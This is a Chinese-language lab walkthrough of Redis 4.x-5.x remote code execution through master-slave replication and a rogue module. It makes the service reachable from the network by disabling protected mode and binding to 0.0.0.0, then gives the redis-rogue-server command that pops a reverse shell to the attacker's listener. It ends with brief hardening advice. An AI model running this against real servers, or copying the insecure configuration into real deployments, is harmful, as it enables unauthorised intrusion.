通過主從復制 GetShell
Redis主從復制
Redis是一個使用ANSI C編寫的開源、支持網絡、基於內存、可選持久性的鍵值對存儲數據庫。但如果當把數據存儲在單個Redis的實例中,當讀寫體量比較大的時候,服務端就很難承受。為了應對這種情況,Redis就提供了主從模式,主從模式就是指使用一個redis實例作為主機,其他實例都作為備份機,其中主機和從機數據相同,而從機只負責讀,主機只負責寫,通過讀寫分離可以大幅度減輕流量的壓力,算是一種通過犧牲空間來換取效率的緩解方式。
Redis模塊
在了解了主從同步之后,我們還需要對redis的模塊有所了解。
在Redis 4.x之后,Redis新增了模塊功能,通過外部拓展,可以實現在redis中實現一個新的Redis命令,通過寫c語言並編譯出.so文件。
由此可知,此方式的利用范圍。
Redis 4.x-Redis 5.x
靶機:ubuntu 18.04.1 ip:192.168.112.132
攻擊機:kali ip:192.168.112.133
一、環境搭建。
1)wget http://download.redis.io/releases/redis-5.0.0.tar.gz
tar -xvzf redis-5.0.0.tar.gz
cd redis-5.0.0
make
2)不同機器上需更改redis.conf配置文件
protected-mode yes 改為
protected-mode no
#關閉redis保護模式
bind 127.0.0.1 改為
bind 0.0.0.0
#注意:bind的意思不是綁定外部服務器的IP,而是綁定本機可以接受連接的網卡地址,默認是只能本地訪問,改動后服務器上任意網卡地址可訪問。
3)靶機啟動服務
cd src
./redis-server ../redis.conf
#加載指定配置
二、exp准備
https://github.com/n0b0dyCN/redis-rogue-server
用法:python3 redis-rogue-server.py --rhost=192.168.112.132 --lhost=192.168.112.133 --exp=exp.so
三、exploit
彈shell至本機的時候,需輸入攻擊機ip,輸入監聽端口。
監聽,成功。
修復建議:
由於該漏洞利用前提是獲取redis訪問權限,也就是基於redis未授權訪問。因此可考慮把產生問題的家伙解決掉。
redis加固:https://www.cnblogs.com/iamver/p/7985556.html
參考鏈接:
https://www.anquanke.com/post/id/181734
https://lorexxar.cn/2019/07/10/redis-5-x-rce/
漏洞原理:
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf